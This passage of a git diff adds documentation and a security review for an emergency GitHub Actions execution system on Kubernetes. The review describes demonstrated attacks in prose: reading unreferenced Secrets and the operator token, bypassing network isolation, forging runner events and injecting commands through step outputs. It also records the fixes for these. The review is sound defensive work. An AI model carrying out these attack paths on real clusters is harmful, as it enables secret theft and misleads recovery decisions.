`fs.suid_dumpable` being 0 or 2, which is the default. +- **Events are authenticated.** The executor generates a key per execution, passes it only to the runner's Job and keeps it apart from the execution's metadata. The runner removes it from its environment, and steps never receive it. Each event line carries an HMAC-SHA256 chained to the previous one (`src/emergency/event-stream.ts`). +- **What the executor believes:** only authentic events, up to the first line that isn't one. A finished run needs the runner's authentic final event, and that result must agree with the runner container's exit code from Kubernetes, which is archived with the log. Anything else is reported as an **error**, never as the result the log claims. Executions from before H3 have no key and are shown as "not verifiable". +- **Workflow text is data.** Step output, names, outputs, reasons and annotations are masked, then sanitized: control characters, ANSI escapes and bidirectional or invisible characters are shown escaped. The UI labels every log line with its source (`runner`, `out` or `err`), and `::error::`-style annotations as "reported by the workflow". + +**Audit:** the executor logs JSON lines for snapshot stored, snapshot deleted, execution started (input names only) and execution stopped. + +**Validation:** +- Uploads are re-verified server-side. +- Paths are normalized and can't escape their root. +- Request bodies are size-limited. +- Inputs must be declared, are strings, and are at most 4 KB. +- Secret names must be Kubernetes names. +- Concurrency is limited (default 2). + +## 6. GitHub Actions compatibility + +**Never claimed: complete compatibility.** "Refused" means snapshot validation reports an error, and the snapshot can't run. + +| Feature | Emergency behaviour | +|---|---| +| Triggers (`push`, `pull_request`, `schedule`, …) | **Not reproduced.** Runs start manually, like `workflow_dispatch` with inputs; shown as a note | +| `workflow_dispatch` / `workflow_call` inputs | Supported (types string, boolean, number; defaults; required) | +| Reusable workflows, nested | Supported (local and external at a pinned SHA); inputs, outputs, explicit secrets, `secrets: inherit` | +| `needs` | Supported; jobs run **sequentially**, not in parallel | +| `if:` (jobs, steps), status functions | Supported (`success()`, `failure()`, `always()`, `cancelled()`) | +| Expressions | Subset: literals, property and index access, `! == != < <= > >= && ||`, `contains`, `startsWith`, `endsWith`, `format`, `join`, `toJSON`, `fromJSON`. **Refused:** `hashFiles`, object filters `.*`, dynamic `secrets[…]` | +| Matrix strategies | **Refused** | +| Job and step outputs | Supported | +| `env` (workflow, job, step), `GITHUB_ENV`, `GITHUB_PATH` | Supported | +| Secrets | Supported, from a Kubernetes Secret. **`GITHUB_TOKEN` and `github.token` refused** | +| `vars.*` | Supported as execution-time variables (not secret) | +| `run:` shells | bash (default), sh, python. **Refused:** pwsh, cmd, powershell | +| Composite actions | Supported, nested; inputs and outputs; `secrets` in a composite refused (as on GitHub) | +| JavaScript actions | Supported: `main`, and `post` at job end with `post-if`. Runs on **Node 22** whatever `node20`/`node24` says (warning). **Refused:** `node12`/`node16`, `pre:`, unbundled dependencies | +| Docker actions, `docker://` | **Refused** | +| `actions/checkout` | Of the snapshot's own repository: replaced by the packaged workspace. **Refused:** another repository, `path:`, submodules, LFS | +| Artifacts (`upload-` / `download-artifact`) | **Refused** (GitHub service). Jobs don't share files: each gets a fresh workspace | +| Caches (`actions/cache`) | **Refused** (GitHub service) | +| `setup-node`, `setup-python`, `setup-go`, `setup-java` | **Refused**: they download toolchains. Use the image's Node 22 and Python 3 | +| `github-script`, Pages and release actions | **Refused** (GitHub API or services) | +| Service containers, job `container:` | **Refused** | +| `runs-on`, GitHub-hosted runner software | Ignored (warning): everything runs in the runner image (Node 22, bash, sh, Python 3 standard library). No preinstalled tools beyond that | +| Self-hosted runner labels and behaviour | Ignored; no runner registration | +| `environment:`, protection rules, environment secrets | Not enforced (warning) | +| `permissions:`, `concurrency:` | Ignored (warning) | +| `github` context | Substitute values: repository, sha, ref, `event_name: workflow_dispatch`, `event.inputs`, `run_id` = execution ID. `github.event.*` payload refused; other keys empty (warning) | +| Actions or scripts calling GitHub APIs, `gh`, `git clone/fetch/push` | Can't work: GitHub is blocked. Scripts are scanned and listed under external services; JavaScript action code is not analysed for API calls | +| OIDC (`id-token: write`) | **Not available** (GitHub's issuer). Steps fail | +| Job and step timeouts | Supported, capped by `maxMinutes` | + +**Needs GitHub, so can't be reproduced during an outage:** triggers and event payloads, `GITHUB_TOKEN`, OIDC tokens, artifacts, caches, checks/statuses/deployments, environments and their secrets, `ghcr.io` images, downloads from GitHub releases (setup actions), GitHub-hosted runner images. + +## 7. Independence from GitHub + +**Preparation is the only part that contacts GitHub.** During an emergency: +- the snapshot is read from the executor's volume; +- the runner image already contains Node 22, bash and Python 3; +- external actions were packaged at their SHAs; +- nothing is cloned or downloaded; +- no GitHub runner or API is used. + +**Verified on the live run:** `github.com`, `api.github.com` and `codeload.github.com` were unreachable from the Job ("TCP connection to 127.0.0.1:443 failed (ECONNREFUSED)"), and the demo still succeeded. + +**Other services:** +- **Package registries** (npm, PyPI, OS packages, container registries) and other hosts are **unreachable in isolated mode**, because there is no DNS. Steps that install packages fail, and preparation lists them under "External services". +- **Third-party Python packages** must be vendored in the repository; the image has only the standard library. +- **JavaScript actions** must ship their dependencies (bundled `dist/`, or committed `node_modules`). +- **The images** must already be on the cluster's nodes, or in a registry reachable during the outage. Images that exist only in `ghcr.io` will not pull. + +**Isolation now depends on enforced NetworkPolicy (security review C2):** +- **minikube with kindnet:** NetworkPolicy is **not enforced**. A pod with the runner labels connected to a raw IP address (1.1.1.1:443) during the review. On such a cluster the canary reports "not-enforced", and the executor refuses isolated executions instead of running them with name-based blocking only. +- **The live minikube run in §8 predates this change.** Its "GitHub unreachable" result came from name-based blocking alone. +- **Clusters that enforce NetworkPolicy: validated live on 2026-10-30** on a separate minikube profile, `gha-sec`, running Calico. + - **From inside a real execution:** every direct-IP connection was blocked (external IPs, API server ClusterIP and node port, kubelet, executor, cluster DNS). + - **Comparison:** an otherwise identical pod without the runner labels reached them all. + - **Removing the policy:** the canary flipped to "not-enforced", and executions were refused. + - Details are in the security review's remediation log. + - **Not provable there:** blocking of the metadata address, because minikube has no metadata service. + +## 8. Tests and evidence (2026-10-30) + +- **Security review C1/C2 regression tests** are in `docs/EMERGENCY_EXECUTION_SECURITY_REVIEW.md` ("Remediation log"). After that work: 552 passed, 1 skipped. +- **Unit tests before C1/C2** (`npx vitest run`): 531 passed, 1 skipped. The skipped one is the runner end-to-end test, Linux-only, which passed in containers (below). New suites: + - `src/emergency/expressions.test.ts`; + - `src/emergency/prepare.test.ts`: demo resolution, required secrets and inputs, integrity and tampering, determinism, supporting-file selection, and refusal rules; + - `tests/unit/emergency-executor.test.ts`: authentication, write-once storage and versions, tampered uploads, on-volume changes, request validation, Job security properties, progress and archiving, concurrency, expiry, unreadable logs, pods that can't start; + - `tests/unit/emergency-runner.test.ts`. +- **Runner end-to-end** (`node tools/emergency/runner-check.ts`): 4 of 4 scenarios passed. + - The demo pipeline, in dependency order, with outputs flowing across jobs and the reusable workflow, and the secret never emitted. + - A missing secret stops the run. + - A tampered snapshot is refused. + - A failing step fails its job and skips its dependents, with exit code 3 recorded. + + It ran in `node:22.23.4-bookworm` with `--network none`, and in the runner image as uid 1000 with a read-only root filesystem, no capabilities and no network. +- **Browser** (`npx playwright test tests/e2e/emergency.spec.ts`): the mocked-executor flow and the no-executor state pass. The **live** flow passed against minikube with `GHA_EMERGENCY_LIVE=1`: + - prepare in the UI; + - upload; + - verify stored files; + - run as a Kubernetes Job with isolated networking; + - 5 jobs and 15 steps succeeded in order; + - GitHub unreachable; + - the secret value absent from the page. +- **Cluster checks:** + - RBAC by `kubectl auth can-i` (the executor can't read Secrets; the runner can do nothing); + - the admitted Job spec; + - a missing Secret reported as "Pod not started: FailedMount … not found"; + - Stop deletes the Job. + +**Not tested:** +- multi-node clusters; +- NetworkPolicy enforcement; +- `post:` scripts, `GITHUB_PATH`, boolean and number inputs, `continue-on-error`, `secrets: inherit` and external reusable workflows on a live cluster (only some have unit-level coverage); +- real-world third-party actions; +- large repositories near the limits; +- long-running steps and the timeout kill path; +- snapshot backup and restore. + +## 9. Known gaps + +1. **Identity depends on an external OpenID Connect provider** (security review H2). It must work during a GitHub outage, so it can't be GitHub. Break-glass accounts cover its own outages. Roles are per user, not per group: no directory group mapping. +2. **Secrets are created out of band** with `kubectl`. Anyone who can create Secrets or Jobs in the namespace has more power than the UI grants. +3. **The demo runs in fixture mode** (a simulated GitHub serving `examples/`). + - **Verified:** on 2026-10-30, three unauthenticated GETs to `octocat/Hello-World` confirmed that GitHub's commit, tree and blob responses have the fields the reader uses (`sha`; `truncated`, `mode`, `type`, `size`, `sha`; `encoding: base64`, `content`). + - **Not verified:** a full preparation of a real repository with a token. + - **Request cost:** preparation makes one request per packaged file, so large repositories should be limited to supporting-file prefixes. +4. **The runner image is a single, generic environment.** Workflows that need other tools must vendor them, or a custom runner image is needed (not yet configurable per snapshot). +5. **Jobs run sequentially in one pod.** There is no per-job isolation beyond fresh workspace directories, and no parallelism. +6. **Script scanning is heuristic.** Missing scripts and network use inside JavaScript actions or indirect script calls may go undetected until run time. +7. **Snapshot identity includes the creation time**, so re-preparing identical content creates a new version rather than reusing one. +8. **There's no reconciliation support** beyond the UI's reminder. No record of the emergency run is written anywhere outside the executor. +9. **Base images are pinned by tag**, not digest, as for the UI image. The runner image itself is pinned by digest and enforced at admission (H4); the executor image is still referenced by tag. +10. **Isolated executions need an enforcing network plugin.** Validated on `gha-sec` (Calico). The original `minikube` profile (kindnet) doesn't enforce NetworkPolicy, so the MVP deployed there would refuse isolated executions once upgraded; it was left unchanged. + +## 10. Run the MVP locally (Windows with Podman and minikube, as tested) + +```powershell +# Isolated executions need a network plugin that enforces NetworkPolicy. As validated on 2026-10-30, a separate +# Calico profile next to the existing one (always name the profile; --keep-context leaves kubectl's context alone): +minikube start -p gha-sec --driver=podman --container-runtime=cri-o --kubernetes-version=v1.35.0 --cni=calico --cpus=2 --memory=2560 --keep-context +kubectl --context gha-sec -n kube-system rollout status ds/calico-node --timeout=300s + +# 1. Build the images and load them into that profile only +podman build --ignorefile deploy/emergency/build.dockerignore -f deploy/emergency/Dockerfile --target executor -t gha-emergency-executor:c1c2 . +podman build --ignorefile deploy/emergency/build.dockerignore -f deploy/emergency/Dockerfile --target runner -t gha-emergency-runner:c1c2 . +podman save --format oci-archive -o executor.tar localhost/gha-emergency-executor:c1c2; minikube -p gha-sec image load executor.tar +podman save --format oci-archive -o runner.tar localhost/gha-emergency-runner:c1c2; minikube -p gha-sec image load runner.tar +# Security review H4: runner Jobs are pinned to the runner image's digest as the node's runtime knows it. Read it on +# the node (not from podman: a loaded archive can get a different digest) and pass it as runner.image.digest: +minikube -p gha-sec ssh -- sudo crictl inspecti -o go-template --template "{{range .status.repoDigests}}{{.}} {{end}}" localhost/gha-emergency-runner:c1c2 + +# 2. A dedicated, restricted namespace, then install. No Secrets yet: the chart refuses any Secret that isn't bound, +# and a binding needs the digest of a snapshot that is prepared after installation. +# Sign-in (security review H2): this local profile has no identity provider, so two break-glass accounts, held by +# different people, stand in for one (a real installation sets auth.oidc and auth.initialAdministrators). +kubectl --context gha-sec create namespace gha-emergency +kubectl --context gha-sec label namespace gha-emergency pod-security.kubernetes.io/enforce=restricted gha-emergency.github-actions-ui/dedicated=true +helm --kube-context gha-sec install gha-emergency charts/gha-emergency -n gha-emergency --set executor.image.tag=c1c2 --set runner.image.digest=sha256: ` + --set "auth.breakGlass.accounts[0].name=local-operator" --set "auth.breakGlass.accounts[0].roles[0]=operator" ` + --set "auth.breakGlass.accounts[1].name=local-approver" --set "auth.breakGlass.accounts[1].roles[0]=approver" + +# 3. Reach the executor, and read the break-glass credentials (see the chart's NOTES) +kubectl --context gha-sec -n gha-emergency port-forward svc/gha-emergency 18094:8080 + +# 4. After preparing the demo snapshot (below): create the Secret, then bind it to the snapshot's digest in the same +# sitting (an unbound Secret makes later upgrades fail the dedicated-namespace check). +kubectl --context gha-sec -n gha-emergency create secret generic demo-secrets --from-literal=DEMO_SIGNING_KEY= +helm --kube-context gha-sec upgrade gha-emergency charts/gha-emergency -n gha-emergency --reuse-values ` + --set "secretBindings[0].name=release-demo" --set "secretBindings[0].secret=demo-secrets" ` + --set "secretBindings[0].keys[0]=DEMO_SIGNING_KEY" --set "secretBindings[0].snapshots[0]=" +``` + +**Use the demo pipeline** (fixture mode, so no GitHub access is needed): +1. Start the dev server with `GHA_EMERGENCY_API_PROXY=http://127.0.0.1:18094 npm run dev`. +2. Open `http://localhost:5173/?mode=fixtures#/emergency` and sign in with the `local-operator` break-glass account (or the identity provider, where configured). +3. Choose **Prepare a snapshot**: repository `emergency-demo/release-pipeline`, ref `main`, then `release.yml`. +4. **Resolve**, then **Create**, then **Open the snapshot**. It shows "Not authorized" and the digest to bind. +5. Create and bind the Secret (step 4 above). The executor picks the binding up within about a minute. +6. Enter version `2.0.1`, check that the network verdict reads "Isolation verified", then **Request emergency execution**: it receives a Secret, so it waits for approval. +7. In another browser profile, sign in as `local-approver`, open the execution and **Approve and start**. + +**With a real repository:** +- Open `http://127.0.0.1:18094/#/emergency` (the executor serves the production UI). +- Connect to GitHub for preparation. +- Then the same steps. + +**Automated** (live, in two phases; see `tests/e2e/emergency.spec.ts`): +- Phase 1: `GHA_EMERGENCY_LIVE=1 GHA_EMERGENCY_API_PROXY=http://127.0.0.1:18094 GHA_EMERGENCY_LIVE_OPERATOR=local-operator:… GHA_EMERGENCY_LIVE_APPROVER=local-approver:… npx playwright test tests/e2e/emergency.spec.ts -g "phase 1"` prepares the snapshot and writes its digest to `test-results/emergency-live-digest.txt`. Copy the digest elsewhere: Playwright clears `test-results/` on the next run. +- Bind it (step 4). +- Phase 2: the same command with `GHA_EMERGENCY_LIVE_SNAPSHOT=` and `-g "phase 2"`. +- The runner alone, without Kubernetes: `podman run --rm --network none -v ${PWD}:/repo:ro -w /repo --entrypoint node localhost/gha-emergency-runner:c1c2 tools/emergency/runner-check.ts` +- The H3 attack check, through the runner's real entrypoint (`` is an empty directory). To include s16, first copy its snapshot directory to `/s16-snapshot` and its digest to `/s16.digest`. + 1. `podman run --rm --network none -v ${PWD}:/repo:ro -v :/out --entrypoint node /repo/tools/emergency/runner-attack-check.ts prepare /out` + 2. Run each snapshot as a pod would, capturing stdout and stderr together, with the snapshot directory named in `/attack.snapshot`: + `podman run --rm --network none --read-only --cap-drop=ALL --security-opt=no-new-privileges --user 1000:1000 --tmpfs /work:rw,exec,mode=1777 --tmpfs /tmp:rw,exec,mode=1777 -v :/snapshot:ro --env-file /attack.env > /attack.log 2>&1` + Write the exit code to `/attack.exit`. Do the same for `s16`. + 3. `podman run --rm --network none -v ${PWD}:/repo:ro -v :/out:ro --entrypoint node /repo/tools/emergency/runner-attack-check.ts judge /out` + +- The H4 admission check, against a disposable API server where the chart is installed (it creates and deletes Jobs, and with `--negative-control` briefly removes the policy binding and the namespace's dedicated label; never run it against a cluster in use): + `node --disable-warning=ExperimentalWarning tools/emergency/admission-check.ts --server https:// --token-file --ca --pods --negative-control`. + `--reproduce` shows the finding instead: which malicious Jobs the executor's RBAC accepts without the policy. As tested on 2026-11-02, the API server was a throwaway etcd, kube-apiserver and kube-controller-manager in one Podman pod (images from `registry.k8s.io`), separate from both minikube profiles. + +**Local OpenID Connect provider** (development only; it signs in any listed user without a password): `node --disable-warning=ExperimentalWarning tools/emergency/dev-oidc.ts --port 9400 --redirect-uri `, with `auth.oidc.issuer=http://127.0.0.1:9400` and `auth.oidc.allowInsecureHttp=true`. The executor must be able to reach it. + +**Migrating from the shared operator token** (security review H2): +1. **Configure sign-in.** Register the executor with the identity provider, with redirect URI `https://api/emergency/auth/callback`. Set `auth.oidc` and, from your own sign-in, `auth.initialAdministrators` (the emergency view shows your issuer and subject once signed in; a first sign-in with no roles is harmless). Upgrade. +2. **Assign roles.** Have users sign in once, then assign roles on the **Administration** page. +3. **The old token.** It stops working as an API token at the upgrade; its Secret is kept. Listing a break-glass account named `operator-token` keeps it usable as one break-glass credential during the transition. Remove that account once everyone signs in individually. +4. **Existing snapshots and executions** stay readable and runnable. + - Snapshots without a preparer are shared and owned by no one: any operator can run them, only administrators can delete them. + - Executions from before H2 show "the shared operator token" as their initiator. + - Executions from H3 keep their verification key; older ones stay "not verifiable". +5. **Sessions and recovery.** + - If the identity provider is unavailable, existing sessions keep working until they expire. + - New sign-ins use break-glass accounts, configured beforehand, whose credentials cluster administrators read from the Secret (NOTES). + - If everyone is locked out, a cluster administrator can set `auth.initialAdministrators` or break-glass accounts with Helm: Kubernetes access remains the root of trust. + +**Remove:** `helm --kube-context gha-sec uninstall gha-emergency -n gha-emergency`. The data volume and break-glass credentials are kept; delete the namespace to remove everything, or the whole validation profile with `minikube delete -p gha-sec` (always with `-p`). diff --git a/docs/EMERGENCY_EXECUTION_SECURITY_REVIEW.md b/docs/EMERGENCY_EXECUTION_SECURITY_REVIEW.md new file mode 100644 index 0000000..c0a60bf --- /dev/null +++ b/docs/EMERGENCY_EXECUTION_SECURITY_REVIEW.md @@ -0,0 +1,719 @@ +# Emergency execution — security review + +**Reviewed:** 2026-10-30, the uncommitted MVP described in `docs/EMERGENCY_EXECUTION.md`. This is the source of truth for remediation. + +**Method:** +- **Code:** read the implementation. +- **Cluster:** read-only queries against the local minikube deployment (`kubectl get`, `kubectl auth can-i`). No resources were changed. +- **Attacks, run locally only:** + - a deliberately malicious snapshot, through the real runner entry point as PID 1, inside the runner image with no network; + - forged uploads against a temporary store. +- **Probe scripts:** kept outside the repository, in the session scratchpad. + +**Evidence labels:** +- **Demonstrated:** reproduced in this review or in earlier tests. +- **Code-confirmed:** verified by reading the code, not exercised. +- **Theoretical:** depends on the environment. + +**Remediation status:** +- C1, C2, H1, H2, H3 and H4 were remediated afterwards and committed together as one checkpoint; none is deployed. M1–M7 and the low findings remain open. See "Remediation log" at the end. +- No proposal (K-1…K-11, Q-R1, Q-R2) is approved by this document. + +--- + +## Critical + +### C1. Any execution can mount any Secret in the namespace, and workflow code can read every key — Demonstrated + +**Affected code:** +- `deploy/emergency/executor/api.ts:183`: `secretName` is checked for name syntax only. +- `deploy/emergency/executor/job-spec.ts`: the whole Secret is mounted. +- `deploy/emergency/runner/engine.ts:94`: every file is loaded. +- Step code runs as the same user and can read `/secrets/*` directly. + +**Evidence:** the probe workflow listed `/secrets` and printed a key it never referenced (`OTHER_TEAM_TOKEN`), reversed, in the step log. + +**Attack scenarios:** +- An operator runs a snapshot from a less-trusted repository with `prod-secrets`, and its code takes every key. +- An execution names `gha-emergency-operator`, which is mountable and in the same namespace. The code steals the operator token and gains full control of the executor. +- If the chart is installed into a shared namespace, every Secret there is exposed. + +(Helm release Secrets are not mountable through the API, because their names contain dots, which the name check rejects.) + +**Remediation:** +- Let administrators bind which Secrets each snapshot may use. +- Mount only the required keys (secret volume `items:`). +- Refuse the operator-token Secret and non-Opaque Secrets. +- Require a dedicated namespace. + +### C2. Network isolation is not enforced — Demonstrated (minikube) + +**Affected code:** `deploy/emergency/executor/job-spec.ts:94-95`. Isolation is name-based only (`hostAliases`, `dnsPolicy: None`). The chart's NetworkPolicy works only where the network plugin enforces it. + +**Evidence:** on minikube with kindnet, a pod carrying the runner labels connected to `1.1.1.1:443`. + +**Attack scenarios** — reachable by IP address: +- the internet, so the secrets from C1 can be exfiltrated; +- every in-cluster service. On this cluster that is `devops-genai` (including `ollama` and `rag-service`), Prometheus, Grafana, the Kubernetes dashboard, `gha-ui` and the executor; +- the kubelet; +- on AKS, the cloud metadata endpoint `169.254.169.254` and the node's managed identity (Theoretical here). + +The Kubernetes API is reachable, but anonymous access is minimal: anonymous callers can't even run self-review (verified). + +**"github-blocked" mode** keeps full cluster DNS, so everything except GitHub's hostnames resolves. + +**Remediation:** +- Require a network plugin that enforces NetworkPolicy, and verify enforcement with a canary. +- Refuse isolated runs unless enforcement is proven. +- Block the metadata service and the API server explicitly. +- Show "GitHub unreachable" evidence only when isolation is enforced. + +## High + +### H1. Snapshot provenance and validation are client-asserted — Demonstrated + +**Affected code:** `deploy/emergency/executor/store.ts:102,104` takes `source` and `executable` from the uploaded manifest. + +**Evidence:** +- A snapshot whose honest validation had two blocking errors (`job-feature`, `github-token`) was uploaded with the errors stripped and with the forged source `acme/production-deploy@ffffffff`. +- The executor stored it as executable. +- Uploading under an existing name just creates the next version. + +**Attack scenario:** a token holder uploads "release demo vN+1", claiming the production commit, and another operator runs it with production secrets. + +**Remediation:** +- Re-run validation on the server from the packaged files. +- Sign snapshots at preparation, or prepare them server-side. +- Mark provenance as unverified in the UI. +- Add name ownership. + +### H2. One shared operator token, with no identity, roles, approval or attribution — Code-confirmed + +**Affected code:** +- `deploy/emergency/executor/api.ts` (`authorized`). +- `deploy/emergency/executor/server.ts:25`: the token is read once at startup. +- The chart keeps the token on uninstall and never rotates it. + +**Attack scenario:** a leaked token, or any insider who has it, can upload snapshots, run them with any Secret (C1) and delete them, and the audit log can't attribute any of it. + +**Remediation:** +- Single sign-on through an authenticating proxy, with the user recorded in every audit line. +- Separate roles for preparing, approving and executing, with two-person approval to execute. +- Token rotation. +- A durable audit sink. + +### H3. Workflow code can forge or erase the runner's results — Demonstrated + +**Affected code:** +- Steps run as the same user as the runner (PID 1), so they can write to `/proc/1/fd/1`. +- `src/emergency/events.ts:22` accepts any line that contains the event prefix. + +**Evidence:** +- A forged "network: evil.example unreachable" event was accepted by the executor's own parser. +- With a file-backed stdout, the forged write also erased the genuine start and verification events. +- The pipe-backed stdout used in a pod was not tested. + +**Attack scenario:** a malicious step fakes success or "GitHub unreachable" evidence, or hides failed steps, and so misleads recovery decisions. + +**Remediation:** +- Run steps as a different user from the runner, or run the runner in a separate container. +- Authenticate events with a per-execution key that steps can't read. +- Cross-check reported results against the Job's exit code. + +### H4. The executor can create Jobs with any pod spec, and the chart doesn't enforce namespace safety — Code-confirmed + +**Affected code:** +- `charts/gha-emergency/templates/rbac.yaml:12` grants `create jobs`, and RBAC can't constrain the pod spec. +- The chart doesn't create or label the namespace. + +**Attack scenario:** a compromised executor creates pods that use its own service account, mount any Secret, or (if the namespace isn't "restricted") run privileged with `hostPath`, which means taking over the node. + +**Remediation:** +- A ValidatingAdmissionPolicy that pins executor-created Jobs to the runner image digest, service account, volumes and security context. +- Install and startup refuse a namespace that isn't dedicated and labelled "restricted". + +## Medium + +### M1. Command injection through step outputs and expression interpolation — Demonstrated + +**Affected code:** +- `deploy/emergency/runner/engine.ts:492` honours `::set-output::` on any stdout line, and outputs are interpolated into later scripts. +- Inputs work the same way. The demo workflow has this pattern (`examples/emergency-demo/.github/workflows/release.yml:25`). + +**Evidence:** an untrusted tool's output ran `INJECTED-COMMAND-RAN` in a later step. + +**Remediation:** +- Drop stdout `set-output` (GitHub deprecated it). +- Warn at validation when `${{ }}` appears inside `run:`. +- Pass inputs through `env:` in the demo. + +### M2. Secret masking is exact-match only — Demonstrated + +**Evidence:** the base64 encoding of the signing key appeared in the log. + +**Exposure:** logs are archived on the volume and visible to every operator. GitHub has the same limitation. + +**Remediation:** +- Also mask common encodings. +- Restrict log access. +- Reduce exposure (C1). + +### M3. Unauthenticated memory exhaustion — Code-confirmed (not tested, to avoid disrupting the deployment) + +**Affected code:** +- `deploy/emergency/executor/server.ts:63-76` buffers up to 64 MB of any API request body before checking the token. +- The executor's memory limit is 512 MiB. +- Executor ingress accepts any pod (`charts/gha-emergency/templates/networkpolicy.yaml:28`). + +**Remediation:** +- Authenticate before reading the body. +- Apply per-route limits before buffering. +- Limit connections. +- Restrict ingress. + +### M4. Untrusted code is co-scheduled with the executor — Code-confirmed + +**Affected code:** required pod affinity (`deploy/emergency/executor/job-spec.ts:98`), with only the RuntimeDefault seccomp profile. + +**Attack scenario:** a container escape lands on the node that holds the executor's service-account token and all stored snapshots and logs. + +**Remediation:** +- A separate, tainted node pool. +- A sandboxed runtime class (gVisor or Kata). +- Storage that doesn't need affinity. + +### M5. The privileged executor serves the UI where users enter their GitHub token — Code-confirmed + +**Attack scenario:** a compromised executor serves script that steals the GitHub token. + +**Remediation:** serve the UI from a separate origin or deployment. + +### M6. Results can be hidden by flooding the logs — Theoretical + +**Cause:** the executor reads at most 16 MB of pod log, and kubelet log rotation drops older lines. + +**Attack scenario:** a step pushes the verification and network events out of view. + +**Remediation:** +- A separate event channel. +- A per-step cap on log volume. + +### M7. Mutable image tags with `IfNotPresent` — Code-confirmed + +**Remediation:** digest-pinned, signed images, verified at admission. + +## Low and informational + +- **L1:** no ResourceQuota or LimitRange, and the concurrency check races between check and create (`deploy/emergency/executor/api.ts:197`). +- **L2:** inputs and variables are stored and shown in plain text: in the Job's environment, execution records, the API and the UI. +- **L3:** internal Kubernetes error messages are returned to clients (`deploy/emergency/executor/api.ts:256`). +- **L4:** no TLS. Acceptable over port-forward; required before any Ingress. +- **L5:** concurrent uploads under the same name can produce duplicate version numbers. +- **Info:** confining `working-directory` and action entry points isn't a security boundary; the pod is. + +## Controls verified to hold + +- **RBAC:** the executor can't read Secrets or create pods directly. The runner has no permissions (`kubectl auth can-i`). +- **Runner pod:** + - no service-account token; + - Pod Security "restricted" admitted; + - snapshot mounted read-only (in the admitted spec). +- **Integrity:** + - tampered, incomplete and path-traversal uploads are rejected (unit tests); + - changes on the volume are detected; + - the runner re-verifies the requested digest (runner check). +- **API:** constant-time token comparison; no CORS. +- **Secret values** never appeared in Job specs, API responses or the page (tests). +- **Rendering and parsing:** React escapes log text; YAML alias count is limited. + +## Remediation priority + +**Must fix before production:** +1. **C1:** bind Secrets to snapshots; mount only required keys; refuse the operator Secret; require a dedicated namespace. +2. **C2:** require and verify NetworkPolicy enforcement; block metadata and API-server addresses; otherwise refuse isolated mode. +3. **H4:** admission policy pinning executor-created Jobs; refuse namespaces that aren't "restricted". +4. **H2:** per-user authentication, roles and approval; attributed, durable audit; token rotation. +5. **H1:** server-side re-validation and signed provenance; name ownership. +6. **H3:** separate the runner's and steps' users or containers; authenticate events. +7. **M3:** authenticate before reading bodies; body and connection limits; restrict ingress. +8. **M1:** remove stdout `set-output`; warn on interpolation inside `run:`; fix the demo workflow. +9. **M4:** a separate node pool and a sandboxed runtime. + +**Should fix soon:** +- **M2:** mask encodings; restrict log access. +- **M5:** a separate UI origin. +- **M6:** an event channel and log caps. +- **M7:** digest-pinned, signed images. + +**Later:** the Low items. + +--- + +## Remediation log + +### C1 — remediated 2026-10-30 (committed in the checkpoint through H2, not deployed) + +**Changes:** +- **Secret bindings** (`deploy/emergency/executor/bindings.ts`, chart `secretBindings`, ConfigMap `templates/bindings.yaml`). + - Set by a cluster administrator. Each names one Secret, its permitted keys, and the exact snapshot **digests** it serves. + - Read for every execution, so changes apply without a restart. + - Invalid bindings void all bindings (fail closed). Ambiguous bindings are refused. +- **API** (`api.ts`): + - `secretName` in a request is refused; the Secret comes only from the binding. + - A snapshot without a binding for its digest, or whose binding lacks a required key, is refused. + - The operator-token Secret is refused at three points: chart render, bindings loader and API. +- **Job** (`job-spec.ts`): the secret volume projects only the keys the snapshot requires (`items`). +- **Runner** (`engine.ts`): refuses to start when any key the snapshot doesn't require is mounted. It reports key names, never values. +- **Chart install and upgrade checks** (`templates/cluster-checks.yaml`, using Helm `lookup`): + - the namespace must be labelled `gha-emergency.github-actions-ui/dedicated=true` and enforce Pod Security "restricted"; + - it may hold no Secrets other than the operator token, this release's Helm records and bound Secrets; + - each bound Secret must exist, be Opaque and contain its keys. +- **UI:** the free-text Secret field is gone. The page shows the binding, or "Not authorized" with the digest to bind. + +**Attack tests:** + +| Attack | Before | After | +|---|---|---| +| Step reads an unreferenced key (`OTHER_TEAM_TOKEN`) from `/secrets`; the review's PID-1 probe in the runner image | Leaked (printed reversed) | Runner refuses before any step: "Secret keys this snapshot does not require are mounted (OTHER_TEAM_TOKEN)". Nothing leaked. In Kubernetes the key is no longer even mounted (`items`) | +| Execution names another Secret, or the operator Secret | Accepted (name syntax only) | 422 "secretName can't be chosen"; no Job created | +| Look-alike snapshot (same name and claimed repository, different content) asks for the bound Secret | n/a (no binding concept) | 422: the binding is for another digest | +| Bound Secret holds extra keys | Whole Secret mounted | Only the required keys projected | +| Binding names the operator Secret | n/a | Refused by the chart (`helm template` fails), the bindings loader and the API | +| Install into an undedicated namespace (server-side dry run against the live minikube) | Allowed | Refused: "Namespace gha-emergency must be dedicated to emergency execution…". No change was made to the release (still revision 2) | + +**Regression tests:** +- `tests/unit/emergency-executor.test.ts` ("security review C1"): 7 tests. +- `tools/emergency/runner-check.ts` scenario "a mounted Secret key the snapshot doesn't require stops the run". It passed in the runner image (5 of 5 scenarios). +- `tests/e2e/emergency.spec.ts`: an unbound snapshot shows "Not authorized", and its start button is disabled. + +**What remains:** +- **H1:** bindings are as strong as digest review. Upload provenance is still client-asserted. +- **M2:** a *required* secret can still be leaked in encoded form by code that receives it. Shown again after the fix: its base64 appeared. +- **Drift after install.** The chart checks run only at install and upgrade. A Secret created later is never mountable through the executor, but anyone with Secret or Job access in the namespace bypasses the executor entirely (H4). + +### C2 — remediated 2026-10-30 (committed in the checkpoint through H2, not deployed) + +**Changes:** +- **Policies** (`templates/networkpolicy.yaml`, always rendered): + - a baseline deny-all ingress and egress for every runner pod; + - an opt-in egress policy for `network=egress` pods: `0.0.0.0/0` except private, CGNAT, link-local (metadata) and loopback ranges, plus cluster DNS. The API server, nodes and in-cluster services fall in the excluded ranges. +- **Canary** (`deploy/emergency/runner/canary.ts`; `deploy/emergency/executor/network-check.ts`; `buildCanaryJob` in `job-spec.ts`): + - A probe pod carries exactly an isolated execution's labels, network settings and pod security. It targets an external IP, the Kubernetes API (the executor's `KUBERNETES_SERVICE_HOST`), the metadata address and an internal service (the executor's Service, by IP). + - A control pod, outside every runner policy, targets the internal service. + - **"enforced"** only if the control connects and the probe reaches nothing. + - **"not-enforced"** if the probe reaches anything. + - **"unverified"** otherwise: the control failed, a canary didn't finish, or its output was unreadable. + - With egress mode enabled, an egress probe must reach neither the API, the metadata address nor the internal service. +- **Gate** (`api.ts`): + - It runs at executor startup and before each execution when older than `network.canary.maxAgeSeconds` (900). + - Isolated executions are refused (409) unless the verdict is "enforced", and the verdict is recorded on the execution. 